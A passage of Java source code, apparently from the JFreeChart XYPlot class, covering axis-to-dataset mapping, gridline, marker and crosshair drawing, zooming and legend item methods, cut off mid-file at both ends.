for (int pass = 0; pass < passCount; pass++) {
int seriesCount = dataset.getSeriesCount();
for (int series = 0; series < seriesCount; series++) {
int firstItem = 0;
int lastItem = dataset.getItemCount(series) - 1;
if (state.getProcessVisibleItemsOnly()) {
int[] itemBounds = RendererUtilities.findLiveItems(
dataset, series, xAxis.getLowerBound(),
xAxis.getUpperBound());
firstItem = itemBounds[0];
lastItem = itemBounds[1];
}
for (int item = firstItem; item <= lastItem; item++) {
renderer.drawItem(g2, state, dataArea, info,
this, xAxis, yAxis, dataset, series, item,
crosshairState, pass);
}
}
}
}
}
return foundData;
}
/**
* Returns the domain axis for a dataset.
*
* @param index the dataset index.
*
* @return The axis.
*/
public ValueAxis getDomainAxisForDataset(int index) {
if (index < 0 || index >= getDatasetCount()) {
throw new IllegalArgumentException("Index " + index
+ " out of bounds.");
}
ValueAxis valueAxis = null;
Integer axisIndex = (Integer) this.datasetToDomainAxisMap.get(
new Integer(index));
if (axisIndex != null) {
valueAxis = getDomainAxis(axisIndex.intValue());
}
else {
valueAxis = getDomainAxis(0);
}
return valueAxis;
}
/**
* Returns the range axis for a dataset.
*
* @param index the dataset index.
*
* @return The axis.
*/
public ValueAxis getRangeAxisForDataset(int index) {
if (index < 0 || index >= getDatasetCount()) {
throw new IllegalArgumentException("Index " + index
+ " out of bounds.");
}
ValueAxis valueAxis = null;
Integer axisIndex
= (Integer) this.datasetToRangeAxisMap.get(new Integer(index));
if (axisIndex != null) {
valueAxis = getRangeAxis(axisIndex.intValue());
}
else {
valueAxis = getRangeAxis(0);
}
return valueAxis;
}
/**
* Draws the gridlines for the plot, if they are visible.
*
* @param g2 the graphics device.
* @param dataArea the data area.
* @param ticks the ticks.
*
* @see #drawRangeGridlines(Graphics2D, Rectangle2D, List)
*/
protected void drawDomainGridlines(Graphics2D g2, Rectangle2D dataArea,
List ticks) {
// no renderer, no gridlines...
if (getRenderer() == null) {
return;
}
// draw the domain grid lines, if any...
if (isDomainGridlinesVisible()) {
Stroke gridStroke = getDomainGridlineStroke();
Paint gridPaint = getDomainGridlinePaint();
if ((gridStroke != null) && (gridPaint != null)) {
Iterator iterator = ticks.iterator();
while (iterator.hasNext()) {
ValueTick tick = (ValueTick) iterator.next();
getRenderer().drawDomainGridLine(g2, this, getDomainAxis(),
dataArea, tick.getValue());
}
}
}
}
/**
* Draws the gridlines for the plot's primary range axis, if they are
* visible.
*
* @param g2 the graphics device.
* @param area the data area.
* @param ticks the ticks.
*
* @see #drawDomainGridlines(Graphics2D, Rectangle2D, List)
*/
protected void drawRangeGridlines(Graphics2D g2, Rectangle2D area,
List ticks) {
// no renderer, no gridlines...
if (getRenderer() == null) {
return;
}
// draw the range grid lines, if any...
if (isRangeGridlinesVisible()) {
Stroke gridStroke = getRangeGridlineStroke();
Paint gridPaint = getRangeGridlinePaint();
ValueAxis axis = getRangeAxis();
if (axis != null) {
Iterator iterator = ticks.iterator();
while (iterator.hasNext()) {
ValueTick tick = (ValueTick) iterator.next();
if (tick.getValue() != 0.0
|| !isRangeZeroBaselineVisible()) {
getRenderer().drawRangeLine(g2, this, getRangeAxis(),
area, tick.getValue(), gridPaint, gridStroke);
}
}
}
}
}
/**
* Draws a base line across the chart at value zero on the domain axis.
*
* @param g2 the graphics device.
* @param area the data area.
*
* @see #setDomainZeroBaselineVisible(boolean)
*
* @since 1.0.5
*/
protected void drawZeroDomainBaseline(Graphics2D g2, Rectangle2D area) {
if (isDomainZeroBaselineVisible()) {
XYItemRenderer r = getRenderer();
// FIXME: the renderer interface doesn't have the drawDomainLine()
// method, so we have to rely on the renderer being a subclass of
// AbstractXYItemRenderer (which is lame)
if (r instanceof AbstractXYItemRenderer) {
AbstractXYItemRenderer renderer = (AbstractXYItemRenderer) r;
renderer.drawDomainLine(g2, this, getDomainAxis(), area, 0.0,
this.domainZeroBaselinePaint,
this.domainZeroBaselineStroke);
}
}
}
/**
* Draws a base line across the chart at value zero on the range axis.
*
* @param g2 the graphics device.
* @param area the data area.
*
* @see #setRangeZeroBaselineVisible(boolean)
*/
protected void drawZeroRangeBaseline(Graphics2D g2, Rectangle2D area) {
if (isRangeZeroBaselineVisible()) {
getRenderer().drawRangeLine(g2, this, getRangeAxis(), area, 0.0,
this.rangeZeroBaselinePaint, this.rangeZeroBaselineStroke);
}
}
/**
* Draws the annotations for the plot.
*
* @param g2 the graphics device.
* @param dataArea the data area.
* @param info the chart rendering info.
*/
public void drawAnnotations(Graphics2D g2,
Rectangle2D dataArea,
PlotRenderingInfo info) {
Iterator iterator = this.annotations.iterator();
while (iterator.hasNext()) {
XYAnnotation annotation = (XYAnnotation) iterator.next();
ValueAxis xAxis = getDomainAxis();
ValueAxis yAxis = getRangeAxis();
annotation.draw(g2, this, dataArea, xAxis, yAxis, 0, info);
}
}
/**
* Draws the domain markers (if any) for an axis and layer. This method is
* typically called from within the draw() method.
*
* @param g2 the graphics device.
* @param dataArea the data area.
* @param index the renderer index.
* @param layer the layer (foreground or background).
*/
protected void drawDomainMarkers(Graphics2D g2, Rectangle2D dataArea,
int index, Layer layer) {
XYItemRenderer r = getRenderer(index);
if (r == null) {
return;
}
// check that the renderer has a corresponding dataset (it doesn't
// matter if the dataset is null)
if (index >= getDatasetCount()) {
return;
}
Collection markers = getDomainMarkers(index, layer);
ValueAxis axis = getDomainAxisForDataset(index);
if (markers != null && axis != null) {
Iterator iterator = markers.iterator();
while (iterator.hasNext()) {
Marker marker = (Marker) iterator.next();
r.drawDomainMarker(g2, this, axis, marker, dataArea);
}
}
}
/**
* Draws the range markers (if any) for a renderer and layer. This method
* is typically called from within the draw() method.
*
* @param g2 the graphics device.
* @param dataArea the data area.
* @param index the renderer index.
* @param layer the layer (foreground or background).
*/
protected void drawRangeMarkers(Graphics2D g2, Rectangle2D dataArea,
int index, Layer layer) {
XYItemRenderer r = getRenderer(index);
if (r == null) {
return;
}
// check that the renderer has a corresponding dataset (it doesn't
// matter if the dataset is null)
if (index >= getDatasetCount()) {
return;
}
Collection markers = getRangeMarkers(index, layer);
ValueAxis axis = getRangeAxisForDataset(index);
if (markers != null && axis != null) {
Iterator iterator = markers.iterator();
while (iterator.hasNext()) {
Marker marker = (Marker) iterator.next();
r.drawRangeMarker(g2, this, axis, marker, dataArea);
}
}
}
/**
* Returns the list of domain markers (read only) for the specified layer.
*
* @param layer the layer (foreground or background).
*
* @return The list of domain markers.
*
* @see #getRangeMarkers(Layer)
*/
public Collection getDomainMarkers(Layer layer) {
return getDomainMarkers(0, layer);
}
/**
* Returns the list of range markers (read only) for the specified layer.
*
* @param layer the layer (foreground or background).
*
* @return The list of range markers.
*
* @see #getDomainMarkers(Layer)
*/
public Collection getRangeMarkers(Layer layer) {
return getRangeMarkers(0, layer);
}
/**
* Returns a collection of domain markers for a particular renderer and
* layer.
*
* @param index the renderer index.
* @param layer the layer.
*
* @return A collection of markers (possibly <code>null</code>).
*
* @see #getRangeMarkers(int, Layer)
*/
public Collection getDomainMarkers(int index, Layer layer) {
Collection result = null;
Integer key = new Integer(index);
if (layer == Layer.FOREGROUND) {
result = (Collection) this.foregroundDomainMarkers.get(key);
}
else if (layer == Layer.BACKGROUND) {
result = (Collection) this.backgroundDomainMarkers.get(key);
}
if (result != null) {
result = Collections.unmodifiableCollection(result);
}
return result;
}
/**
* Returns a collection of range markers for a particular renderer and
* layer.
*
* @param index the renderer index.
* @param layer the layer.
*
* @return A collection of markers (possibly <code>null</code>).
*
* @see #getDomainMarkers(int, Layer)
*/
public Collection getRangeMarkers(int index, Layer layer) {
Collection result = null;
Integer key = new Integer(index);
if (layer == Layer.FOREGROUND) {
result = (Collection) this.foregroundRangeMarkers.get(key);
}
else if (layer == Layer.BACKGROUND) {
result = (Collection) this.backgroundRangeMarkers.get(key);
}
if (result != null) {
result = Collections.unmodifiableCollection(result);
}
return result;
}
/**
* Utility method for drawing a horizontal line across the data area of the
* plot.
*
* @param g2 the graphics device.
* @param dataArea the data area.
* @param value the coordinate, where to draw the line.
* @param stroke the stroke to use.
* @param paint the paint to use.
*/
protected void drawHorizontalLine(Graphics2D g2, Rectangle2D dataArea,
double value, Stroke stroke,
Paint paint) {
ValueAxis axis = getRangeAxis();
if (getOrientation() == PlotOrientation.HORIZONTAL) {
axis = getDomainAxis();
}
if (axis.getRange().contains(value)) {
double yy = axis.valueToJava2D(value, dataArea, RectangleEdge.LEFT);
Line2D line = new Line2D.Double(dataArea.getMinX(), yy,
dataArea.getMaxX(), yy);
g2.setStroke(stroke);
g2.setPaint(paint);
g2.draw(line);
}
}
/**
* Draws a domain crosshair.
*
* @param g2 the graphics target.
* @param dataArea the data area.
* @param orientation the plot orientation.
* @param value the crosshair value.
* @param axis the axis against which the value is measured.
* @param stroke the stroke used to draw the crosshair line.
* @param paint the paint used to draw the crosshair line.
*
* @since 1.0.4
*/
protected void drawDomainCrosshair(Graphics2D g2, Rectangle2D dataArea,
PlotOrientation orientation, double value, ValueAxis axis,
Stroke stroke, Paint paint) {
if (axis.getRange().contains(value)) {
Line2D line = null;
if (orientation == PlotOrientation.VERTICAL) {
double xx = axis.valueToJava2D(value, dataArea,
RectangleEdge.BOTTOM);
line = new Line2D.Double(xx, dataArea.getMinY(), xx,
dataArea.getMaxY());
}
else {
double yy = axis.valueToJava2D(value, dataArea,
RectangleEdge.LEFT);
line = new Line2D.Double(dataArea.getMinX(), yy,
dataArea.getMaxX(), yy);
}
g2.setStroke(stroke);
g2.setPaint(paint);
g2.draw(line);
}
}
/**
* Utility method for drawing a vertical line on the data area of the plot.
*
* @param g2 the graphics device.
* @param dataArea the data area.
* @param value the coordinate, where to draw the line.
* @param stroke the stroke to use.
* @param paint the paint to use.
*/
protected void drawVerticalLine(Graphics2D g2, Rectangle2D dataArea,
double value, Stroke stroke, Paint paint) {
ValueAxis axis = getDomainAxis();
if (getOrientation() == PlotOrientation.HORIZONTAL) {
axis = getRangeAxis();
}
if (axis.getRange().contains(value)) {
double xx = axis.valueToJava2D(value, dataArea,
RectangleEdge.BOTTOM);
Line2D line = new Line2D.Double(xx, dataArea.getMinY(), xx,
dataArea.getMaxY());
g2.setStroke(stroke);
g2.setPaint(paint);
g2.draw(line);
}
}
/**
* Draws a range crosshair.
*
* @param g2 the graphics target.
* @param dataArea the data area.
* @param orientation the plot orientation.
* @param value the crosshair value.
* @param axis the axis against which the value is measured.
* @param stroke the stroke used to draw the crosshair line.
* @param paint the paint used to draw the crosshair line.
*
* @since 1.0.4
*/
protected void drawRangeCrosshair(Graphics2D g2, Rectangle2D dataArea,
PlotOrientation orientation, double value, ValueAxis axis,
Stroke stroke, Paint paint) {
if (axis.getRange().contains(value)) {
Line2D line = null;
if (orientation == PlotOrientation.HORIZONTAL) {
double xx = axis.valueToJava2D(value, dataArea,
RectangleEdge.BOTTOM);
line = new Line2D.Double(xx, dataArea.getMinY(), xx,
dataArea.getMaxY());
}
else {
double yy = axis.valueToJava2D(value, dataArea,
RectangleEdge.LEFT);
line = new Line2D.Double(dataArea.getMinX(), yy,
dataArea.getMaxX(), yy);
}
g2.setStroke(stroke);
g2.setPaint(paint);
g2.draw(line);
}
}
/**
* Handles a 'click' on the plot by updating the anchor values.
*
* @param x the x-coordinate, where the click occurred, in Java2D space.
* @param y the y-coordinate, where the click occurred, in Java2D space.
* @param info object containing information about the plot dimensions.
*/
public void handleClick(int x, int y, PlotRenderingInfo info) {
Rectangle2D dataArea = info.getDataArea();
if (dataArea.contains(x, y)) {
// set the anchor value for the horizontal axis...
ValueAxis da = getDomainAxis();
if (da != null) {
double hvalue = da.java2DToValue(x, info.getDataArea(),
getDomainAxisEdge());
setDomainCrosshairValue(hvalue);
}
// set the anchor value for the vertical axis...
ValueAxis ra = getRangeAxis();
if (ra != null) {
double vvalue = ra.java2DToValue(y, info.getDataArea(),
getRangeAxisEdge());
setRangeCrosshairValue(vvalue);
}
}
}
/**
* A utility method that returns a list of datasets that are mapped to a
* particular axis.
*
* @param axisIndex the axis index (<code>null</code> not permitted).
*
* @return A list of datasets.
*/
private List getDatasetsMappedToDomainAxis(Integer axisIndex) {
if (axisIndex == null) {
throw new IllegalArgumentException("Null 'axisIndex' argument.");
}
List result = new ArrayList();
for (int i = 0; i < this.datasets.size(); i++) {
Integer mappedAxis = (Integer) this.datasetToDomainAxisMap.get(
new Integer(i));
if (mappedAxis == null) {
if (axisIndex.equals(ZERO)) {
result.add(this.datasets.get(i));
}
}
else {
if (mappedAxis.equals(axisIndex)) {
result.add(this.datasets.get(i));
}
}
}
return result;
}
/**
* A utility method that returns a list of datasets that are mapped to a
* particular axis.
*
* @param axisIndex the axis index (<code>null</code> not permitted).
*
* @return A list of datasets.
*/
private List getDatasetsMappedToRangeAxis(Integer axisIndex) {
if (axisIndex == null) {
throw new IllegalArgumentException("Null 'axisIndex' argument.");
}
List result = new ArrayList();
for (int i = 0; i < this.datasets.size(); i++) {
Integer mappedAxis = (Integer) this.datasetToRangeAxisMap.get(
new Integer(i));
if (mappedAxis == null) {
if (axisIndex.equals(ZERO)) {
result.add(this.datasets.get(i));
}
}
else {
if (mappedAxis.equals(axisIndex)) {
result.add(this.datasets.get(i));
}
}
}
return result;
}
/**
* Returns the index of the given domain axis.
*
* @param axis the axis.
*
* @return The axis index.
*
* @see #getRangeAxisIndex(ValueAxis)
*/
public int getDomainAxisIndex(ValueAxis axis) {
int result = this.domainAxes.indexOf(axis);
if (result < 0) {
// try the parent plot
Plot parent = getParent();
if (parent instanceof XYPlot) {
XYPlot p = (XYPlot) parent;
result = p.getDomainAxisIndex(axis);
}
}
return result;
}
/**
* Returns the index of the given range axis.
*
* @param axis the axis.
*
* @return The axis index.
*
* @see #getDomainAxisIndex(ValueAxis)
*/
public int getRangeAxisIndex(ValueAxis axis) {
int result = this.rangeAxes.indexOf(axis);
if (result < 0) {
// try the parent plot
Plot parent = getParent();
if (parent instanceof XYPlot) {
XYPlot p = (XYPlot) parent;
result = p.getRangeAxisIndex(axis);
}
}
return result;
}
/**
* Returns the range for the specified axis.
*
* @param axis the axis.
*
* @return The range.
*/
public Range getDataRange(ValueAxis axis) {
Range result = null;
List mappedDatasets = new ArrayList();
boolean isDomainAxis = true;
// is it a domain axis?
int domainIndex = getDomainAxisIndex(axis);
if (domainIndex >= 0) {
isDomainAxis = true;
mappedDatasets.addAll(getDatasetsMappedToDomainAxis(
new Integer(domainIndex)));
}
// or is it a range axis?
int rangeIndex = getRangeAxisIndex(axis);
if (rangeIndex >= 0) {
isDomainAxis = false;
mappedDatasets.addAll(getDatasetsMappedToRangeAxis(
new Integer(rangeIndex)));
}
// iterate through the datasets that map to the axis and get the union
// of the ranges.
Iterator iterator = mappedDatasets.iterator();
while (iterator.hasNext()) {
XYDataset d = (XYDataset) iterator.next();
if (d != null) {
XYItemRenderer r = getRendererForDataset(d);
if (isDomainAxis) {
if (r != null) {
result = Range.combine(result, r.findDomainBounds(d));
}
else {
result = Range.combine(result,
DatasetUtilities.findDomainBounds(d));
}
}
else {
if (r != null) {
result = Range.combine(result, r.findRangeBounds(d));
}
else {
result = Range.combine(result,
DatasetUtilities.findRangeBounds(d));
}
}
}
}
return result;
}
/**
* Receives notification of a change to the plot's dataset.
* <P>
* The axis ranges are updated if necessary.
*
* @param event information about the event (not used here).
*/
public void datasetChanged(DatasetChangeEvent event) {
configureDomainAxes();
configureRangeAxes();
if (getParent() != null) {
getParent().datasetChanged(event);
}
else {
PlotChangeEvent e = new PlotChangeEvent(this);
e.setType(ChartChangeEventType.DATASET_UPDATED);
notifyListeners(e);
}
}
/**
* Receives notification of a renderer change event.
*
* @param event the event.
*/
public void rendererChanged(RendererChangeEvent event) {
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns a flag indicating whether or not the domain crosshair is visible.
*
* @return The flag.
*
* @see #setDomainCrosshairVisible(boolean)
*/
public boolean isDomainCrosshairVisible() {
return this.domainCrosshairVisible;
}
/**
* Sets the flag indicating whether or not the domain crosshair is visible
* and, if the flag changes, sends a {@link PlotChangeEvent} to all
* registered listeners.
*
* @param flag the new value of the flag.
*
* @see #isDomainCrosshairVisible()
*/
public void setDomainCrosshairVisible(boolean flag) {
if (this.domainCrosshairVisible != flag) {
this.domainCrosshairVisible = flag;
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns a flag indicating whether or not the crosshair should "lock-on"
* to actual data values.
*
* @return The flag.
*
* @see #setDomainCrosshairLockedOnData(boolean)
*/
public boolean isDomainCrosshairLockedOnData() {
return this.domainCrosshairLockedOnData;
}
/**
* Sets the flag indicating whether or not the domain crosshair should
* "lock-on" to actual data values. If the flag value changes, this
* method sends a {@link PlotChangeEvent} to all registered listeners.
*
* @param flag the flag.
*
* @see #isDomainCrosshairLockedOnData()
*/
public void setDomainCrosshairLockedOnData(boolean flag) {
if (this.domainCrosshairLockedOnData != flag) {
this.domainCrosshairLockedOnData = flag;
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the domain crosshair value.
*
* @return The value.
*
* @see #setDomainCrosshairValue(double)
*/
public double getDomainCrosshairValue() {
return this.domainCrosshairValue;
}
/**
* Sets the domain crosshair value and sends a {@link PlotChangeEvent} to
* all registered listeners (provided that the domain crosshair is visible).
*
* @param value the value.
*
* @see #getDomainCrosshairValue()
*/
public void setDomainCrosshairValue(double value) {
setDomainCrosshairValue(value, true);
}
/**
* Sets the domain crosshair value and, if requested, sends a
* {@link PlotChangeEvent} to all registered listeners (provided that the
* domain crosshair is visible).
*
* @param value the new value.
* @param notify notify listeners?
*
* @see #getDomainCrosshairValue()
*/
public void setDomainCrosshairValue(double value, boolean notify) {
this.domainCrosshairValue = value;
if (isDomainCrosshairVisible() && notify) {
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the {@link Stroke} used to draw the crosshair (if visible).
*
* @return The crosshair stroke (never <code>null</code>).
*
* @see #setDomainCrosshairStroke(Stroke)
* @see #isDomainCrosshairVisible()
* @see #getDomainCrosshairPaint()
*/
public Stroke getDomainCrosshairStroke() {
return this.domainCrosshairStroke;
}
/**
* Sets the Stroke used to draw the crosshairs (if visible) and notifies
* registered listeners that the axis has been modified.
*
* @param stroke the new crosshair stroke (<code>null</code> not
* permitted).
*
* @see #getDomainCrosshairStroke()
*/
public void setDomainCrosshairStroke(Stroke stroke) {
if (stroke == null) {
throw new IllegalArgumentException("Null 'stroke' argument.");
}
this.domainCrosshairStroke = stroke;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the domain crosshair paint.
*
* @return The crosshair paint (never <code>null</code>).
*
* @see #setDomainCrosshairPaint(Paint)
* @see #isDomainCrosshairVisible()
* @see #getDomainCrosshairStroke()
*/
public Paint getDomainCrosshairPaint() {
return this.domainCrosshairPaint;
}
/**
* Sets the paint used to draw the crosshairs (if visible) and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param paint the new crosshair paint (<code>null</code> not permitted).
*
* @see #getDomainCrosshairPaint()
*/
public void setDomainCrosshairPaint(Paint paint) {
if (paint == null) {
throw new IllegalArgumentException("Null 'paint' argument.");
}
this.domainCrosshairPaint = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns a flag indicating whether or not the range crosshair is visible.
*
* @return The flag.
*
* @see #setRangeCrosshairVisible(boolean)
* @see #isDomainCrosshairVisible()
*/
public boolean isRangeCrosshairVisible() {
return this.rangeCrosshairVisible;
}
/**
* Sets the flag indicating whether or not the range crosshair is visible.
* If the flag value changes, this method sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param flag the new value of the flag.
*
* @see #isRangeCrosshairVisible()
*/
public void setRangeCrosshairVisible(boolean flag) {
if (this.rangeCrosshairVisible != flag) {
this.rangeCrosshairVisible = flag;
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns a flag indicating whether or not the crosshair should "lock-on"
* to actual data values.
*
* @return The flag.
*
* @see #setRangeCrosshairLockedOnData(boolean)
*/
public boolean isRangeCrosshairLockedOnData() {
return this.rangeCrosshairLockedOnData;
}
/**
* Sets the flag indicating whether or not the range crosshair should
* "lock-on" to actual data values. If the flag value changes, this method
* sends a {@link PlotChangeEvent} to all registered listeners.
*
* @param flag the flag.
*
* @see #isRangeCrosshairLockedOnData()
*/
public void setRangeCrosshairLockedOnData(boolean flag) {
if (this.rangeCrosshairLockedOnData != flag) {
this.rangeCrosshairLockedOnData = flag;
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the range crosshair value.
*
* @return The value.
*
* @see #setRangeCrosshairValue(double)
*/
public double getRangeCrosshairValue() {
return this.rangeCrosshairValue;
}
/**
* Sets the range crosshair value.
* <P>
* Registered listeners are notified that the plot has been modified, but
* only if the crosshair is visible.
*
* @param value the new value.
*
* @see #getRangeCrosshairValue()
*/
public void setRangeCrosshairValue(double value) {
setRangeCrosshairValue(value, true);
}
/**
* Sets the range crosshair value and sends a {@link PlotChangeEvent} to
* all registered listeners, but only if the crosshair is visible.
*
* @param value the new value.
* @param notify a flag that controls whether or not listeners are
* notified.
*
* @see #getRangeCrosshairValue()
*/
public void setRangeCrosshairValue(double value, boolean notify) {
this.rangeCrosshairValue = value;
if (isRangeCrosshairVisible() && notify) {
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the stroke used to draw the crosshair (if visible).
*
* @return The crosshair stroke (never <code>null</code>).
*
* @see #setRangeCrosshairStroke(Stroke)
* @see #isRangeCrosshairVisible()
* @see #getRangeCrosshairPaint()
*/
public Stroke getRangeCrosshairStroke() {
return this.rangeCrosshairStroke;
}
/**
* Sets the stroke used to draw the crosshairs (if visible) and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param stroke the new crosshair stroke (<code>null</code> not
* permitted).
*
* @see #getRangeCrosshairStroke()
*/
public void setRangeCrosshairStroke(Stroke stroke) {
if (stroke == null) {
throw new IllegalArgumentException("Null 'stroke' argument.");
}
this.rangeCrosshairStroke = stroke;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the range crosshair paint.
*
* @return The crosshair paint (never <code>null</code>).
*
* @see #setRangeCrosshairPaint(Paint)
* @see #isRangeCrosshairVisible()
* @see #getRangeCrosshairStroke()
*/
public Paint getRangeCrosshairPaint() {
return this.rangeCrosshairPaint;
}
/**
* Sets the paint used to color the crosshairs (if visible) and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param paint the new crosshair paint (<code>null</code> not permitted).
*
* @see #getRangeCrosshairPaint()
*/
public void setRangeCrosshairPaint(Paint paint) {
if (paint == null) {
throw new IllegalArgumentException("Null 'paint' argument.");
}
this.rangeCrosshairPaint = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the fixed domain axis space.
*
* @return The fixed domain axis space (possibly <code>null</code>).
*
* @see #setFixedDomainAxisSpace(AxisSpace)
*/
public AxisSpace getFixedDomainAxisSpace() {
return this.fixedDomainAxisSpace;
}
/**
* Sets the fixed domain axis space and sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param space the space (<code>null</code> permitted).
*
* @see #getFixedDomainAxisSpace()
*/
public void setFixedDomainAxisSpace(AxisSpace space) {
this.fixedDomainAxisSpace = space;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the fixed range axis space.
*
* @return The fixed range axis space (possibly <code>null</code>).
*
* @see #setFixedRangeAxisSpace(AxisSpace)
*/
public AxisSpace getFixedRangeAxisSpace() {
return this.fixedRangeAxisSpace;
}
/**
* Sets the fixed range axis space and sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param space the space (<code>null</code> permitted).
*
* @see #getFixedRangeAxisSpace()
*/
public void setFixedRangeAxisSpace(AxisSpace space) {
this.fixedRangeAxisSpace = space;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Multiplies the range on the domain axis/axes by the specified factor.
*
* @param factor the zoom factor.
* @param info the plot rendering info.
* @param source the source point (in Java2D space).
*
* @see #zoomRangeAxes(double, PlotRenderingInfo, Point2D)
*/
public void zoomDomainAxes(double factor, PlotRenderingInfo info,
Point2D source) {
// delegate to other method
zoomDomainAxes(factor, info, source, false);
}
/**
* Multiplies the range on the domain axis/axes by the specified factor.
*
* @param factor the zoom factor.
* @param info the plot rendering info.
* @param source the source point (in Java2D space).
* @param useAnchor use source point as zoom anchor?
*
* @see #zoomRangeAxes(double, PlotRenderingInfo, Point2D, boolean)
*
* @since 1.0.7
*/
public void zoomDomainAxes(double factor, PlotRenderingInfo info,
Point2D source, boolean useAnchor) {
// perform the zoom on each domain axis
for (int i = 0; i < this.domainAxes.size(); i++) {
ValueAxis domainAxis = (ValueAxis) this.domainAxes.get(i);
if (domainAxis != null) {
if (useAnchor) {
// get the relevant source coordinate given the plot
// orientation
double sourceX = source.getX();
if (this.orientation == PlotOrientation.HORIZONTAL) {
sourceX = source.getY();
}
double anchorX = domainAxis.java2DToValue(sourceX,
info.getDataArea(), getDomainAxisEdge());
domainAxis.resizeRange(factor, anchorX);
}
else {
domainAxis.resizeRange(factor);
}
}
}
}
/**
* Zooms in on the domain axis/axes. The new lower and upper bounds are
* specified as percentages of the current axis range, where 0 percent is
* the current lower bound and 100 percent is the current upper bound.
*
* @param lowerPercent a percentage that determines the new lower bound
* for the axis (e.g. 0.20 is twenty percent).
* @param upperPercent a percentage that determines the new upper bound
* for the axis (e.g. 0.80 is eighty percent).
* @param info the plot rendering info.
* @param source the source point (ignored).
*
* @see #zoomRangeAxes(double, double, PlotRenderingInfo, Point2D)
*/
public void zoomDomainAxes(double lowerPercent, double upperPercent,
PlotRenderingInfo info, Point2D source) {
for (int i = 0; i < this.domainAxes.size(); i++) {
ValueAxis domainAxis = (ValueAxis) this.domainAxes.get(i);
if (domainAxis != null) {
domainAxis.zoomRange(lowerPercent, upperPercent);
}
}
}
/**
* Multiplies the range on the range axis/axes by the specified factor.
*
* @param factor the zoom factor.
* @param info the plot rendering info.
* @param source the source point.
*
* @see #zoomDomainAxes(double, PlotRenderingInfo, Point2D, boolean)
*/
public void zoomRangeAxes(double factor, PlotRenderingInfo info,
Point2D source) {
// delegate to other method
zoomRangeAxes(factor, info, source, false);
}
/**
* Multiplies the range on the range axis/axes by the specified factor.
*
* @param factor the zoom factor.
* @param info the plot rendering info.
* @param source the source point.
* @param useAnchor a flag that controls whether or not the source point
* is used for the zoom anchor.
*
* @see #zoomDomainAxes(double, PlotRenderingInfo, Point2D, boolean)
*
* @since 1.0.7
*/
public void zoomRangeAxes(double factor, PlotRenderingInfo info,
Point2D source, boolean useAnchor) {
// perform the zoom on each range axis
for (int i = 0; i < this.rangeAxes.size(); i++) {
ValueAxis rangeAxis = (ValueAxis) this.rangeAxes.get(i);
if (rangeAxis != null) {
if (useAnchor) {
// get the relevant source coordinate given the plot
// orientation
double sourceY = source.getY();
if (this.orientation == PlotOrientation.HORIZONTAL) {
sourceY = source.getX();
}
double anchorY = rangeAxis.java2DToValue(sourceY,
info.getDataArea(), getRangeAxisEdge());
rangeAxis.resizeRange(factor, anchorY);
}
else {
rangeAxis.resizeRange(factor);
}
}
}
}
/**
* Zooms in on the range axes.
*
* @param lowerPercent the lower bound.
* @param upperPercent the upper bound.
* @param info the plot rendering info.
* @param source the source point.
*
* @see #zoomDomainAxes(double, double, PlotRenderingInfo, Point2D)
*/
public void zoomRangeAxes(double lowerPercent, double upperPercent,
PlotRenderingInfo info, Point2D source) {
for (int i = 0; i < this.rangeAxes.size(); i++) {
ValueAxis rangeAxis = (ValueAxis) this.rangeAxes.get(i);
if (rangeAxis != null) {
rangeAxis.zoomRange(lowerPercent, upperPercent);
}
}
}
/**
* Returns <code>true</code>, indicating that the domain axis/axes for this
* plot are zoomable.
*
* @return A boolean.
*
* @see #isRangeZoomable()
*/
public boolean isDomainZoomable() {
return true;
}
/**
* Returns <code>true</code>, indicating that the range axis/axes for this
* plot are zoomable.
*
* @return A boolean.
*
* @see #isDomainZoomable()
*/
public boolean isRangeZoomable() {
return true;
}
/**
* Returns the number of series in the primary dataset for this plot. If
* the dataset is <code>null</code>, the method returns 0.
*
* @return The series count.
*/
public int getSeriesCount() {
int result = 0;
XYDataset dataset = getDataset();
if (dataset != null) {
result = dataset.getSeriesCount();
}
return result;
}
/**
* Returns the fixed legend items, if any.
*
* @return The legend items (possibly <code>null</code>).
*
* @see #setFixedLegendItems(LegendItemCollection)
*/
public LegendItemCollection getFixedLegendItems() {
return this.fixedLegendItems;
}
/**
* Sets the fixed legend items for the plot. Leave this set to
* <code>null</code> if you prefer the legend items to be created
* automatically.
*
* @param items the legend items (<code>null</code> permitted).
*
* @see #getFixedLegendItems()
*/
public void setFixedLegendItems(LegendItemCollection items) {
this.fixedLegendItems = items;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the legend items for the plot. Each legend item is generated by
* the plot's renderer, since the renderer is responsible for the visual
* representation of the data.
*
* @return The legend items.
*/
public LegendItemCollection getLegendItems() {
if (this.fixedLegendItems != null) {
return this.fixedLegendItems;
}
LegendItemCollection result = new LegendItemCollection();
int count = this.datasets.size();
for (int datasetIndex = 0; datasetIndex < count; datasetIndex++) {
XYDataset dataset = getDataset(datasetIndex);
if (dataset != null) {
XYItemRenderer renderer = getRenderer(datasetIndex);
if (renderer == null) {
renderer = getRenderer(0);
}
if (renderer != null) {
int seriesCount = dataset.getSeriesCount();
for (int i = 0; i < seriesCount; i++) {
if (renderer.isSeriesVisible(i)
&& renderer.isSeriesVisibleInLegend(i)) {
LegendItem item = renderer.getLegendItem(
datasetIndex, i);
if (item != null) {
result.add(item);
}
}
}
}
}
}
return result;
}
/**
* Tests this plot for equality with another object.
*
* @param obj the object (<code>null</code> permitted).
*
* @return <code>true</code> or <code>false</code>.
*/
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (!(obj instanceof XYPlot)) {
return false;
}
